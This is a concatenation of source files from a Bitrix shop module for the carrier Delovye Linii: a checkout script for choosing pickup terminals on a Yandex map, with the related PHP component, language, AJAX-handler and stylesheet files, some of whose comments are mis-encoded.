                if(prop.CODE == 'DELLIN_DELIVERYTIME_START'){
                    BX.Dellin.fieldDeliveryTimeStart = prop.ID;
                //    console.log(BX.Dellin.fieldDeliveryTimeStart);
                    return;
                }

                if(prop.CODE == 'DELLIN_DELIVERYTIME_END'){
                    BX.Dellin.fieldDeliveryTimeEnd = prop.ID;
                //    console.log(BX.Dellin.fieldDeliveryTimeEnd);
                    return;
                }

                if(prop.CODE == 'TERMINAL_ID'){
                    BX.Dellin.fieldTerminalID = prop.ID;
                //    console.log(BX.Dellin.fieldTerminalID);
                    return;
                }

            })

        },
        appenChildInBlockDescription: function(block)
        {
            let deliveryBlock = document.querySelector('#bx-soa-delivery');
            let description = deliveryBlock.querySelector('div.bx-soa-pp-company-block');
                description.appendChild(block);
        },
        getCityParameters: function()
        {
            let city = {};

            let currentTerminal = BX.Dellin.getCurrentTerminalId();
            if(!currentTerminal)
            {
                console.warn('City is null');
                return ;
            }


            BX.Dellin.terminalList.forEach((terminal)=>{
                
                city = terminal.more.terminal.infoCity;
            });

            return city;
            
        },
        
        getTerminalInfoById: function(terminalId)
        {
            let result = {};

            if(BX.Dellin.isTerminalMethodSelected())
            {
                if(!BX.Dellin.terminalList)
                {
                    return ;
                }
                
                BX.Dellin.terminalList.forEach((terminal)=>
                {
                    terminal = terminal.more.terminal;
                      
                    if(terminal.id == terminalId)
                    {
                    //    console.log(terminal);
                        result = {
                            name: terminal.name,
                            terminal_id: terminalId,    
                            address: terminal.address,
                            latitude: terminal.latitude,
                            longitude: terminal.longitude,
                            schedule: terminal.calcSchedule.arrival,
                            exceptionShedule: terminal.worktables.specialWorktable.giveout,
                            contactPhone: (terminal.mainPhone)?terminal.mainPhone:''
                        }
                    }
                })
            }
            return result;
        },
        buildHiddenBlockTerminals: function()
        {
            /**
             * ���� ������ ���������� ��������� �������� ��� ������ ���� ������ �� ����������. 
             *
             */
            let currentTerminal = BX.Dellin.getCurrentTerminalId()
            let selectedPickUp = BX.Dellin.getTerminalInfoById(currentTerminal);
        //    console.log(selectedPickUp);
        //    console.log(currentTerminal);
            let html = '';

            html += '<strong><?=GetMessageJS("DELLINDEV_SHIPMENT_NAIMENOVANIE_TERMINA")?>' + BX.util.htmlspecialchars(selectedPickUp.name) + '</strong>';
            if (selectedPickUp.address)
                html += '<br><strong>' + BX.message('SOA_PICKUP_ADDRESS') + ':</strong> ' + BX.util.htmlspecialchars(selectedPickUp.address);

            if (selectedPickUp.contactPhone)
                html += '<br><strong>' + BX.message('SOA_PICKUP_PHONE') + ':</strong> ' + BX.util.htmlspecialchars(selectedPickUp.contactPhone);

            if (selectedPickUp.schedule)
                html += '<br><strong>' + BX.message('SOA_PICKUP_WORK') + ':</strong> ' + BX.util.htmlspecialchars(selectedPickUp.schedule);
            
            if(selectedPickUp.longitude && selectedPickUp)

            if(selectedPickUp.exceptionShedule.length < 1)
            {  
                let startText = '';

                let text = selectedPickUp.exceptionShedule.reduce(
                    (acc, currenValue) => acc+ ', '+currenValue,
                    startText
                );    

                html += '<br>' + BX.util.htmlspecialchars(text);

            }
                
            //pickUpContainer.innerHTML = html;
            return html;

        },
        createTerminalBlockInPickUp: function()
        {
            
            let head = document.createElement('div');

            let pickUpMainList = document.createElement('div');
                pickUpMainList.className = 'bx-soa-pickup-list main';
            
            if(!BX.Dellin.terminalList)
            {
                return ;
            }

            BX.Dellin.terminalList.forEach((terminal)=>{

                let data = BX.Dellin.getTerminalInfoById(terminal.terminal_id);
                
                let viewItem = BX.Dellin.createTerminalListItem(data);

                pickUpMainList.append(viewItem);

            });
            


            return pickUpMainList;


        },
        baloonTemplate: function()
        {
            

            let item = document.createElement('div');
                item.className = 'bx-soa-pickup-list-item bx-selected';
                 
                item.style = 'background: #fff;margin: 10px;';
    

            let itemAddress = document.createElement('div');
                itemAddress.className = 'bx-soa-pickup-l-item-adress';
                itemAddress.innerText = '{{properties.name}}';

            
            let itemDetail = document.createElement('div');
                itemDetail.className = 'bx-soa-pickup-l-item-detail';
                
            
            let itemName = document.createElement('div');
                itemName.className = 'bx-soa-pickup-l-item-name';
                itemName.innerText = '';
        
            let itemDescription = document.createElement('div');
                itemDescription.className = 'bx-soa-pickup-l-item-desc';
            let itemStr = BX.message('SOA_PICKUP_ADDRESS')+': '+'{{properties.address}}'+'<br>'+
                          BX.message('SOA_PICKUP_WORK') +': '+'{{properties.schedule}}'+'<br>';
                itemDescription.innerHTML = itemStr;
                

            let itemButton = document.createElement('div');
                itemButton.className = 'bx-soa-pickup-l-item-btn';

            let button = document.createElement('div');
                button.className = 'btn btn-sm btn-primary';
                button.id = 'dellinChooseButton';
                button.innerText = BX.message('INPUT_FILE_BROWSE');
                button.dataset.id = '{{properties.terminal_id}}';
 

                itemButton.append(button);

                itemDetail.append(itemName);
                itemDetail.append(itemDescription);

                item.append(itemAddress);
                item.append(itemDetail);
                item.append(itemButton);

            

            let ballonTemplate = ymaps.templateLayoutFactory.createClass(
                item.outerHTML,
                {
                    build: function(){
                        ballonTemplate.superclass.build.call(this);
                        //TODO ���������� ������������� ���������
                        let button = document.querySelector('#dellinChooseButton');
                      //  button.forEach(function(button){
                            // �������� �� ���� �������. 
                            button.addEventListener('click', this.onClickChoose);
                      //  });
                        
                    },
                    onClickChoose: function(event)
                    {
                        
                        // console.log('Click in baloon', event);
                        // console.log('id', event.srcElement.dataset.id);
                        // BX.Dellin.setValueInInput(BX.Dellin.fieldTerminalID, event.srcElement.dataset.id);
                        // BX.Dellin.changeCountIcon();
                        // BX.Dellin.clearDisplayContainer();
                        // BX.Dellin.changeContentInDellinBlock();
                        // let blockThisSection = document.querySelector('#bx-soa-delivery');
                        // let nextBlock = document.querySelector('#bx-soa-paysystem');
                        // BX.Sale.OrderAjaxComponent.fade(blockThisSection);
                        // BX.Sale.OrderAjaxComponent.show(nextBlock);
                        BX.Dellin.changeChoose(event.srcElement.dataset.id);
                        BX.Dellin.closePropsBlock('choose');
                        BX.Dellin.hideTimeIntervals();
                        BX.Dellin.hideTerminalBlock();
                    }
                }
            );

            return ballonTemplate;
        },
        changeChoose: function(terminal_id)
        {
            console.log('new terminal_id', terminal_id);
            BX.Dellin.setValueInInput(BX.Dellin.fieldTerminalID, terminal_id);
            BX.Dellin.choosedTerminalId = terminal_id;
            BX.Dellin.changeCountIcon();
            BX.Dellin.clearDisplayContainer();
            BX.Dellin.changeContentInDellinBlock();
            let blockThisSection = document.querySelector('#bx-soa-delivery');
            let nextBlock = document.querySelector('#bx-soa-paysystem');
            BX.Sale.OrderAjaxComponent.fade(blockThisSection);
            BX.Sale.OrderAjaxComponent.show(nextBlock);
        },
        createTerminalListItem: function(terminal)
        {
        //    console.log(terminal);

            let item = document.createElement('div');
                item.className = (terminal.terminal_id == BX.Dellin.getCurrentTerminalId())?'bx-soa-pickup-list-item bx-selected':'bx-soa-pickup-list-item';
                 
                item.style = (terminal.terminal_id != BX.Dellin.getCurrentTerminalId())?'background: #fff':'';

                item.setAttribute('onclick', 'BX.Dellin.onItemClick()');
                item.setAttribute('terminalId', terminal.terminal_id);



            let itemAddress = document.createElement('div');
                itemAddress.className = 'bx-soa-pickup-l-item-adress';
                itemAddress.innerText = terminal.name;

            
            let itemDetail = document.createElement('div');
                itemDetail.className = 'bx-soa-pickup-l-item-detail';
                
            
            let itemName = document.createElement('div');
                itemName.className = 'bx-soa-pickup-l-item-name';
                itemName.innerText = terminal.name;
        
            let itemDescription = document.createElement('div');
                itemDescription.className = 'bx-soa-pickup-l-item-desc';
            let itemStr = BX.message('SOA_PICKUP_ADDRESS')+': '+terminal.address+'<br>'+
                          BX.message('SOA_PICKUP_WORK') +': '+terminal.schedule+'<br>';
                itemDescription.innerHTML = itemStr;
                

            let itemButton = document.createElement('div');
                itemButton.className = 'bx-soa-pickup-l-item-btn';

            let button = document.createElement('div');
                button.className = 'btn btn-sm btn-primary';
                button.innerText = BX.message('INPUT_FILE_BROWSE');
                button.setAttribute('terminalId',terminal.terminal_id);
                button.setAttribute('onclick', 'BX.Dellin.onItemChooseClick()');

 

                itemButton.append(button);

                itemDetail.append(itemName);
                itemDetail.append(itemDescription);

                item.append(itemAddress);
                item.append(itemDetail);
                item.append(itemButton);
                

            return item;
        },
        onItemClick: function(){
         //   event.currentTarget;
            BX.Dellin.watchAndCloseItemDetails();
            console.log("click", event);
            console.log('target', event.currentTarget);
            event.currentTarget.className = 'bx-soa-pickup-list-item bx-selected';

        },
        onItemChooseClick: function()
        {
            let chooseTerminalId = event.currentTarget.getAttribute('terminalId');
            console.log('Click on Choose', event.currentTarget);
            console.log('SelectedTerminal', chooseTerminalId);
            BX.Dellin.changeChoose(chooseTerminalId);
            BX.Dellin.closePropsBlock();
        },
        watchAndCloseItemDetails: function()
        {

            let watchedBlock = document.querySelector('.bx-soa-pickup-list.main');
            if(watchedBlock){

                watchedBlock.childNodes.forEach((item)=>{

                item.classList.forEach((selector)=>{
                    if(selector == 'bx-selected')
                    {
                        item.className = 'bx-soa-pickup-list-item';
                    }
                })

})
            }

        },
        createYmapsObject: function()
        {
            if(BX.Dellin.isTerminalMethodSelected())
            {

                if(BX.Dellin.hasMountedMaps)
                {
                    console.warn('BX.Dellin.hasMountedMaps is true');
                    return ;
                }


                if(BX.Dellin.isEmptyLocationField())
                {
                    console.warn('Is Empty Location field');
                    return ;
                }

                BX.Dellin.hasMountedMaps = true;
                
                let city = BX.Dellin.getCityParameters();
                console.log('<?=GetMessageJS("DELLINDEV_SHIPMENT_GOROD")?>', city);
                let blockMap = document.querySelector('#dellinMap');

                if(!blockMap){
                    console.warn('dellinMap is undefined');
                    return ;
                }

                let dellinMap = new ymaps.Map("dellinMap", { 
                    center: [city.latitude, city.longitude], // [������, �������] ��������� �� ������ ������
                    zoom: 10 // ������� ��� �����, ��������������� � ����������� �� �������
                });


                BX.Dellin.terminalList.forEach((terminal)=>{
                //    console.log(terminal);

                    let data = BX.Dellin.getTerminalInfoById(terminal.terminal_id);
                    let  MyIconContentLayout = ymaps.templateLayoutFactory.createClass(
                        '<div style="color: #FFFFFF; font-weight: bold;">$[properties.iconContent]</div>'
                    );
                   // let block = BX.Dellin.createTerminalListItem(data);
                //    console.log('terminal', data);
                    dellinMap.geoObjects.add(new ymaps.Placemark([data.latitude, data.longitude], {
                        terminal_id: data.terminal_id,
                        name: data.name,
                        address: data.address,
                        schedule: data.schedule,
                        contactPhone: data.contactPhone,
                        exceptionShedule: data.exceptionShedule,
                    },  {
						// iconLayout: 'default#imageWithContent',
						// iconImageHref: 'bitrix/bitrix/images/dellindev/sprite-markers.png',
						// iconImageSize: [40, 43],
						// iconImageOffset: [-10, -31],
                        // iconContentLayout: MyIconContentLayout,
                        iconLayout: 'default#image',
                        // ��� ����������� ������ �����.
                        iconImageHref: '/local/components/dellindev/dellindev.shipment.choose/templates/.default/images/sprite-markers.png',
                        // ������� �����.
                        iconImageSize: [51, 67],
                        // �������� ������ �������� ���� ������ ������������
                        // � "�����" (����� ��������).
                        iconImageOffset: [-24, -24],
                        // �������� ���� � ���������� ������������ ���� � ���������.
                       // iconContentOffset: [, 67],
                        // ����� �����������.
                        iconContentLayout: MyIconContentLayout,
                        balloonContentLayout: BX.Dellin.baloonTemplate(),
                        balloonPanelMaxMapArea: '0A',
						}, {
                        balloonContentLayout: BX.Dellin.baloonTemplate(),
                        balloonPanelMaxMapArea: '0A',
                    }))
                    //  }, {
                        
                    //     preset: 'islands#dotIcon', // ����� �������� �����
                    // }))
                   

                });
            }

        },
        buildDisplayBlockTerminals: function()
        {
            /**
             * ���� ������ ���������� ����� ����������, ���� �� �����,
             * ���� ��� ������ � ������������ ���� ������ (����� ������ � ������� �� ������ �����)
             */
            let map = document.createElement('div');
                    map.id = 'dellinMap';
                    map.style = 'width: 100%; margin-bottom: 10px; height: 342px;';

            let col = document.createElement('div');
                col.className = 'col';

            let strong = document.createElement('strong');
                strong.innerText = '<?=GetMessageJS("DELLINDEV_SHIPMENT_VYBERITE_TERMINAL_NA")?>';

            col.append(strong);
            col.append(map);
          //  BX.Dellin.hasMountedMaps = true;
            return col;

        },
        checkClassNameInclude: function(node, className)
        {
            let result = false;
            if(!node)
            {
                console.warn('Node not found');
                return ;// return undefined, for handle 
            }

            node.classList.forEach((el)=>{

                if(el == className){
                    result = true;
                }

            });

            return result;
            
        },
        isPickUpBlockSelected: function()
        {
            let pickUpElement = BX.Dellin.getBlockPickup();
            let className = 'bx-selected';

            return BX.Dellin.checkClassNameInclude(pickUpElement, className);
           
        },
        isPickUpBlockCompleted: function()
        {
            let pickUpElement = BX.Dellin.getBlockPickup();
            let className = 'bx-step-completed';

            return BX.Dellin.checkClassNameInclude(pickUpElement, className);
        },
        isBlockMounted: function()
        {
            let block = document.querySelector('#bx-soa-dellin');
            return (block != null);
        },
        injectionCustomBlock: function()
        {

            if(BX.Dellin.isEmptyLocationField())
            {
                console.warn('Is empty locationField');
                return ;
            }

            if(BX.Dellin.isOldViewComponent)
            {
                console.log('Use old view on terminals')
                return ;
            }
            
            if(BX.Dellin.isBlockMounted())
            {
                console.warn('Dellin block is mounted');
                return ;
            }
            let block = document.createElement('div'); 
                block.className = 'bx-soa-section';
                block.id = 'bx-soa-dellin';
            let title = document.createElement('div');
                title.className = 'bx-soa-section-title-container d-flex justify-content-between align-items-center flex-nowrap';
            
                

            let titleContent = document.createElement('div');
                titleContent.className = 'bx-soa-section-title';
                titleContent.setAttribute('data-entity', 'section-title');

            let titleSpan = document.createElement('span');
                titleSpan.className = 'bx-soa-section-title-count';
                
                titleContent.append(titleSpan);
                titleContent.append('<?=GetMessageJS("DELLINDEV_SHIPMENT_DELOVYE_LINII")?>');

            let titleSpanChange = document.createElement('span');

            let titlePChange = document.createElement('p');
                
                titlePChange.innerText = '<?=GetMessageJS("DELLINDEV_SHIPMENT_VYBRATQ_TERMINAL")?>';
                titlePChange.className = 'bx-soa-editstep';
                if(BX.Dellin.isCloseCustomBlock)
                {
                    
                    titlePChange.style = 'color: var(--theme-b-link)';
                } else {
                    titlePChange.style = 'display:none;';
                  
                }
                


                titleSpanChange.append(titlePChange);
                
                title.append(titleContent);
                title.append(titleSpanChange);
                            


            let innerBlock = BX.Sale.OrderAjaxComponent.getNewContainer();
            let element = document.querySelector('#bx-soa-delivery');
                block.append(title);
                block.append(innerBlock);
                //Block is closed
            let content = block.querySelector('.bx-soa-section-content');

            if(!content)
            {
                content = BX.Sale.OrderAjaxComponent.getNewContainer();
                block.lastChild(content);
            } 
            
            titlePChange.addEventListener('click', (event)=>{

                    console.log('<?=GetMessageJS("DELLINDEV_SHIPMENT_NAJALI_NA")?>', event);
                    
                    BX.Dellin.clearDisplayContainer();

//                    let view = BX.Dellin.buildHiddenBlockTerminals();
//                        content.innerHTML = view;
                    BX.Dellin.changeCountIcon();
                    BX.Dellin.changeContentInDellinBlock();
                    BX.Dellin.createYmapsObject();
                    BX.Dellin.closePropsBlock('change');
                    
                    BX.Dellin.hideTimeIntervals();
                    BX.Dellin.hideTerminalBlock();


                });



            let view = BX.Dellin.getViewWidget();
            //    container.innerHTML = view; 

            //    title.after(view);
           // console.log(view);
            content.innerHTML = view;
                
            element.after(block);

                
        },
        getViewWidget: function()
        {

            if(BX.Dellin.hasMountedMaps)
            {
                console.warn('Dellin block is mounted');
                return ;
            }

            if(BX.Dellin.isCloseCustomBlock)
            {
                let viewShort = BX.Dellin.buildHiddenBlockTerminals()
                return viewShort;
            }
           
            
            if(BX.Dellin.hasShowDellinMap){
                let viewWithMap = BX.Dellin.buildDisplayBlockTerminals();
                return viewWithMap.outerHTML;
            }
          
            if(!BX.Dellin.isCloseCustomBlock && !BX.Dellin.hasShowDellinMap )
            {
                let viewWithDisabledMap = BX.Dellin.createTerminalBlockInPickUp();
                return viewWithDisabledMap.outerHTML; 
            }
            
        },
        clearDisplayContainer: function()
        {            
            let elem = document.querySelector('#bx-soa-dellin');

            let container = elem.querySelector('.bx-soa-section-content');
        //    console.log(container);
            BX.Dellin.hasMountedMaps = false;
            while (container.firstChild) {
                container.removeChild(container.firstChild);
            }

        },
        changeCountIcon: function()
        {
            let elem = document.querySelector('#bx-soa-dellin');

            if(BX.Dellin.isCloseCustomBlock)
            {
                elem.className = 'bx-soa-section';
                BX.Dellin.isCloseCustomBlock = !BX.Dellin.isCloseCustomBlock;
                BX.Dellin.hideTitleLink(elem);
            } else {

                elem.className = 'bx-soa-section bx-active bx-step-completed';
                BX.Dellin.isCloseCustomBlock = !BX.Dellin.isCloseCustomBlock;
                BX.Dellin.hideTitleLink(elem);
            }
        },
        hideTitleLink: function(elem)
        {
            let link = elem.querySelector('.bx-soa-editstep');
                if(BX.Dellin.isCloseCustomBlock)
                {
                    link.style = "color: var(--theme-b-link); display: block;";
                } else {
                    link.style = "display:none;";
                }
        },
        changeContentInDellinBlock: function()
        {

            let element = document.querySelector('#bx-soa-dellin');

            let content = element.querySelector('.bx-soa-section-content');
            
            let widget = BX.Dellin.getViewWidget();

                content.innerHTML = widget;
   
            
        }, 
        removeInjectedBlock: function()
        {
            let injectedBlock = document.querySelector('#bx-soa-dellin');
                if(injectedBlock)
                {
                    BX.Dellin.hasMountedMaps = false;
                    console.log('Remove bx-soa-dellin');
                    injectedBlock.remove();
                }
        }, 
        moreBlock: function()
        {
            let moreBlock = document.createElement('div');
                moreBlock.className = 'row bx-soa-more';
            let buttonCol = document.createElement('div');
                buttonCol.className = 'bx-soa-more-btn col';
            
            let buttonPrev = document.createElement('button');
                buttonPrev.className = 'btn btn-outline-secondary pl-3 pr-3';
                buttonPrev.innerText = '<?=GetMessageJS("DELLINDEV_SHIPMENT_NAZAD")?>';

            let buttonNext = document.createElement('button');
                buttonNext.className = 'pull-right btn btn-primary pl-3 pr-3';
                buttonNext.innerText = '<?=GetMessageJS("DELLINDEV_SHIPMENT_VPERED")?>';

                
            
        },
        isEmptyLocationField: function()
        {
            let fields = BX.Sale.OrderAjaxComponent.getAllFormData();
            let locationFieldState = fields.RECENT_DELIVERY_VALUE;
            let result = false

            if(locationFieldState == '')
            {
                result = true;
            }

            return result;
        },
        closePropsBlock: function()
        {
            let orderBlockNode = BX.Sale.OrderAjaxComponent.orderBlockNode;
            
            let selectors = orderBlockNode.querySelectorAll('.bx-soa-section.bx-active');

            selectors.forEach((block)=>{
                block.classList.forEach((itemClass)=>{
                    if( block.id == "bx-soa-properties" &&
                        itemClass == "bx-selected")
                    {
                    //    if(placeDoes == 'choose'){
                            BX.Sale.OrderAjaxComponent.editFadePropsBlock();
                            BX.addClass(block, 'bx-step-completed');
                            BX.removeClass(block, 'bx-selected');
                            BX.Sale.OrderAjaxComponent.initialized.props = false;
                      //  }

                      //  if(placeDoes == 'change')
                      //  {
                      //      BX.Sale.OrderAjaxComponent.fade(block);
                      //  }

                    }
                });
                
            });
        },
        hideTimeIntervals: function()
        {
            let checkout = BX.Sale.OrderAjaxComponent.orderBlockNode;
            
            let selectorStart = '[data-property-id-row="'+BX.Dellin.fieldDeliveryTimeStart+'"]';
            let selectorEnd = '[data-property-id-row="'+BX.Dellin.fieldDeliveryTimeEnd+'"]';

            let deliveryTimeStart = checkout.querySelector(selectorStart);
            let deliveryTimeEnd = checkout.querySelector(selectorEnd);

            if(deliveryTimeStart)
            {
                deliveryTimeStart.style = 'display:none;';
            }

            if(deliveryTimeEnd)
            {
                deliveryTimeEnd.style = 'display:none;';
            }

        },
        showTimeIntervals: function()
        {
            
            let checkout = BX.Sale.OrderAjaxComponent.orderBlockNode;
            
            let selectorStart = '[data-property-id-row="'+BX.Dellin.fieldDeliveryTimeStart+'"]';
            let selectorEnd = '[data-property-id-row="'+BX.Dellin.fieldDeliveryTimeEnd+'"]';

            let deliveryTimeStart = checkout.querySelector(selectorStart);
            let deliveryTimeEnd = checkout.querySelector(selectorEnd);

            if(deliveryTimeStart)
            {
                deliveryTimeStart.style = '';
            }

            if(deliveryTimeEnd)
            {
                deliveryTimeEnd.style = '';
            }
        },
        observeOrderBlock: function(){
            //new Arch Solution for test 

            let observer = new MutationObserver(mutationRecords => {
                
                if(BX.Dellin.isPickUpBlockSelected){
                    if(!BX.Dellin.isOldViewComponent){
                        BX.Dellin.hideTerminalBlock();
                    }
                    if(BX.Dellin.isTerminalMethodSelected())
                    {
                        BX.Dellin.hideTimeIntervals();
                    }
                    
                } 
                
                });
            
            let checkout = BX.Sale.OrderAjaxComponent.orderBlockNode;
            
            let elem = checkout.querySelector('#bx-soa-properties');

            
            observer.observe(elem, {
                childList: true, 
                subtree: true
                });


        },
        setCityCode: function ()
        {
            BX.Dellin.recent_delivery_value = BX.Sale.OrderAjaxComponent.getAllFormData().RECENT_DELIVERY_VALUE;
        },
        hasChangeCityCode: function(){
            return !(BX.Dellin.recent_delivery_value == 
                    BX.Sale.OrderAjaxComponent.getAllFormData().RECENT_DELIVERY_VALUE );
        },
    }



    BX.ready(function () {

        BX.message({
            "DELLINDEV_TERMINAL_LIST": "<?=Loc::getMessage("DELLINDEV_TERMINAL_LIST")?>",
            "DELLINDEV_SELECTED_TERMINAL": "<?=Loc::getMessage("DELLINDEV_SELECTED_TERMINAL")?>"
        });


           BX.Dellin.setCityCode();


           BX.Dellin.observeOrderBlock();
           // mock to BX proxy
           // it`s fake hidden block 
           let deliveryHidden = document.querySelector('#bx-soa-delivery-hidden');
           let dellin = document.createElement('div');
               dellin.id = 'bx-soa-dellin-hidden';
               deliveryHidden.after(dellin);

           let delivery = document.querySelector('#bx-soa-delivery');
           let footerForButton = delivery.querySelector('.bx-soa-more-btn');

           if(footerForButton)
           {
                let button = footerForButton.querySelector('.pull-right.btn.btn-primary.pl-3.pr-3');
                    button.addEventListener('click', function(){
                        if(BX.Dellin.isTerminalMethodSelected())
                        {
                            if(BX.Dellin.isCloseCustomBlock)
                            {
                                BX.Dellin.clearDisplayContainer();
                                BX.Dellin.changeCountIcon();
                                BX.Dellin.changeContentInDellinBlock();
                                BX.Dellin.createYmapsObject();
                            }
                        }
                    });

           }

        console.log('Dellin ready');


        if(BX.Dellin.isTerminalMethodSelected()){

            let changeLink = document.querySelectorAll('a.bx-soa-editstep');
            
            //todo
            changeLink.forEach((element)=>{
                element.addEventListener('click', (elem)=>{
                    console.log('<?=GetMessageJS("DELLINDEV_SHIPMENT_KLIK_NA_IZMENITQ")?>');
                    
                });
            })

            

            BX.Dellin.showTerminalBlock();
            BX.Dellin.init();
            BX.Dellin.styledFieldsSelect();
            BX.Dellin.hideTimeIntervals();

            if(!BX.Dellin.terminalList)
            {
                let terminalBlock = BX.Dellin.getTerminalBlock();
                    terminalBlock.style = 'display: none'; 
                console.warn('Terminal list is undefined');
                return ;
            } 

            


            if(BX.Dellin.isPickUpBlockSelected){

                if(BX.Dellin.isOldViewComponent)
                {

                    console.warn('Is old view component.')
                } else {
                    BX.Dellin.hideTerminalBlock();
                    BX.Dellin.injectionCustomBlock();
                    if(BX.Dellin.hasShowDellinMap)
                    {
                        ymaps.ready(()=>{
                            BX.Dellin.createYmapsObject();
                        })
                    }
                }

            }
           
            

            
        } else {

            BX.Dellin.styledFieldsSelect();
            BX.Dellin.hideTerminalBlock();
            BX.Dellin.removeInjectedBlock();
            BX.Dellin.showTimeIntervals();
            

        }

       
        BX.addCustomEvent('onAjaxSuccess', function(result){
            

            if(!result) return;
            if(!result.dellin) return;
            console.log(result.dellin);
            BX.Dellin.removeInjectedBlock();
            if(!BX.Dellin.isOldViewComponent)
            {
                BX.Dellin.hideTerminalBlock();
            }
            console.log(result);

            console.log('City is changed?', BX.Dellin.hasChangeCityCode());
            //
            if(BX.Dellin.hasChangeCityCode()){
                BX.Dellin.choosedTerminalId = null;
                BX.Dellin.setCityCode();
            }

            

            BX.Dellin.changePropsID(result);

            BX.Dellin.terminalList = result.dellin.terminals;
            BX.Dellin.terminalsMethod = result.dellin.terminals_method_id;

            //?????????, ?????? ?? ? ??? ????? ???????? "?? ?????????"
            if(BX.Dellin.isTerminalMethodSelected()){

                BX.Dellin.showTerminalBlock();
                BX.Dellin.init();
                BX.Dellin.styledFieldsSelect();
                BX.Dellin.hideTimeIntervals();
                if(!BX.Dellin.terminalList)
                {
                    console.warn('Terminal list is undefined');
                    return ;
                }

                let changeLink = document.querySelectorAll('a.bx-soa-editstep');
            
                //todo
                changeLink.forEach((element)=>{
                    element.addEventListener('click', (elem)=>{
                        console.log('<?=GetMessageJS("DELLINDEV_SHIPMENT_KLIK_NA_IZMENITQ")?>');
                        
                    });
                })

                

                BX.Dellin.showTerminalBlock();
                BX.Dellin.init();
                BX.Dellin.styledFieldsSelect();
                //if result is droped
                if(!BX.Dellin.terminalList)
                {
                    BX.Dellin.hideTerminalBlock();
                    console.warn('Terminal list is undefined');
                    return ;
                } 
                //restore block after droped result
                if(BX.Dellin.terminalList)
                {
                    let terminalBlock = BX.Dellin.getTerminalBlock();
                        terminalBlock.style = ''; 
                }

                if(BX.Dellin.isPickUpBlockSelected){
                    
                    if(BX.Dellin.isOldViewComponent)
                    {
                        console.warn('Is old view component.')
                    } else {
                        if(BX.Dellin.terminalList.length > 0){
                            BX.Dellin.hideTerminalBlock();
                            BX.Dellin.injectionCustomBlock();
                            if(BX.Dellin.hasShowDellinMap)
                            {
                                ymaps.ready(()=>{
                                    BX.Dellin.createYmapsObject();
                                })
                                
                            }
                        }

                    }

                }

                BX.Dellin.styledFieldsSelect();
                

            } else {

                console.log('Dellin init');
                BX.Dellin.styledFieldsSelect();
                BX.Dellin.hideTerminalBlock();
                BX.Dellin.removeInjectedBlock();
                BX.Dellin.showTimeIntervals();

            }




        });


    });





 
</script>components/dellindev/dellindev.shipment.cargosettings/.parameters.php000064400000000212151760651320022301 0ustar00<?php
if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED!==true)die();

$arComponentParameters = Array(
	'PARAMETERS' => array()
);
?>components/dellindev/dellindev.shipment.cargosettings/lang/ru/class.php000064400000000225151760651320022540 0ustar00<?
$MESS["SALE_LOCATION_MAP_BUTTON"] = "Сопоставить местоположения";
?>components/dellindev/dellindev.shipment.cargosettings/lang/en/class.php000064400000000072151760651320022514 0ustar00<?
$MESS["SALE_LOCATION_MAP_BUTTON"] = "Map locations";
?>components/dellindev/dellindev.shipment.cargosettings/ajax.php000064400000004237151760651320021016 0ustar00<?
/**
 * ���� backend �����������.
 * Bitrix Framework
 * @global CMain $APPLICATION
 */

define("NO_KEEP_STATISTIC", true);
define("NO_AGENT_STATISTIC", true);
define("NO_AGENT_CHECK", true);
define("NOT_CHECK_PERMISSIONS", true);

require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php");

$result = array("ERROR" => "");

if (!\Bitrix\Main\Loader::includeModule('sale'))
	$result["ERROR"] = "Error! Can't include module \"Sale\"";
if (!\Bitrix\Main\Loader::includeModule('dellindev.shipment'))
    $result["ERROR"] = "Error! Can't include module \"dellindev.shipment\"";

\Bitrix\Sale\Delivery\Services\Manager::getHandlersList();
$saleModulePermissions = $APPLICATION->GetGroupRight("sale");

if($result["ERROR"] == '' && $saleModulePermissions >= "W" && check_bitrix_sessid())
{
	$action = isset($_REQUEST['action']) ? trim($_REQUEST['action']): '';
    if($class == '')
    {
        $result["ERROR"] = "Error! Wrong location class!";
    }

    if (\Bitrix\Main\Loader::includeModule('dellindev.shipment')){
        $ajaxService = new $class;

        switch ($action)
        {

            case "get_frieght_type":

                $q = isset($_REQUEST['query'])?$_REQUEST['query']: null;
				$appkey = isset($_REQUEST['appkey'])?$_REQUEST['appkey']: null;
                if(mb_strtolower(SITE_CHARSET) != 'utf-8')
                    $q = \Bitrix\Main\Text\Encoding::convertEncoding($q, SITE_CHARSET, 'utf-8');

                $result['LIST'] = $ajaxService::getFreightTypes($appkey, $q);

                break;
            default:
                $result["ERROR"] = "Error! Wrong action!";
                break;
        }
    } else {
        $result["ERROR"] = "Error! Can't include module \"dellindev.shipment\"";
    }
}
else
{
	if($result["ERROR"] == '')
		$result["ERROR"] = "Error! Access denied";
}

if($result["ERROR"] <> '')
	$result["RESULT"] = "ERROR";
else
	$result["RESULT"] = "OK";

if(mb_strtolower(SITE_CHARSET) != 'utf-8')
	$result = \Bitrix\Main\Text\Encoding::convertEncoding($result, SITE_CHARSET, 'utf-8');

header('Content-Type: application/json');
echo  json_encode($result);
\CMain::FinalActions();
die;components/dellindev/dellindev.shipment.cargosettings/class.php000064400000001222151760651320021167 0ustar00<?
if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();

use Bitrix\Main\Localization\Loc;
Loc::loadMessages(__FILE__);

class CSaleDellinCargo extends CBitrixComponent
{
	protected function checkParams($params)
	{

	}

	public function onPrepareComponentParams($params)
	{

		return $params;
	}

	public function executeComponent()
	{
		try
		{
			$this->checkParams($this->arParams);
		}
		catch(\Exception $e)
		{
			ShowError($e->getMessage());
			return;
		}

		if(!CModule::IncludeModule('sale'))
		{
			ShowError("Module sale not installed!");
			return;
		}


		CJSCore::Init('core', 'ajax');
		$this->includeComponentTemplate();
	}
}components/dellindev/dellindev.shipment.cargosettings/templates/.default/style.css000064400000004740151760651320024733 0ustar00.install-load-block {
	background-color: #f7fafa;
	border-radius: 3px;
	-webkit-box-shadow: 0 1px 0 #ebebeb;
	box-shadow: 0 1px 0 #ebebeb;
}

.install-load-block .install-load-title {
	border-bottom: 1px solid #e6eaeb;
	color: #000;
	font-size: 18px;
	font-weight: bold;
	margin-bottom: 19px;
	padding:0 0 15px 3px;
}
.install-load-block .install-load-label {
	color: #000;
	margin-bottom: 15px;
}

.install-load-block .install-load-error {
	color: red;
	margin-bottom: 15px;
}

.install-load-block .install-progress-bar-outer
{
	height: 32px;
	border:1px solid;
	border-color:#9ba6a8 #b1bbbe #bbc5c9 #b1bbbe;
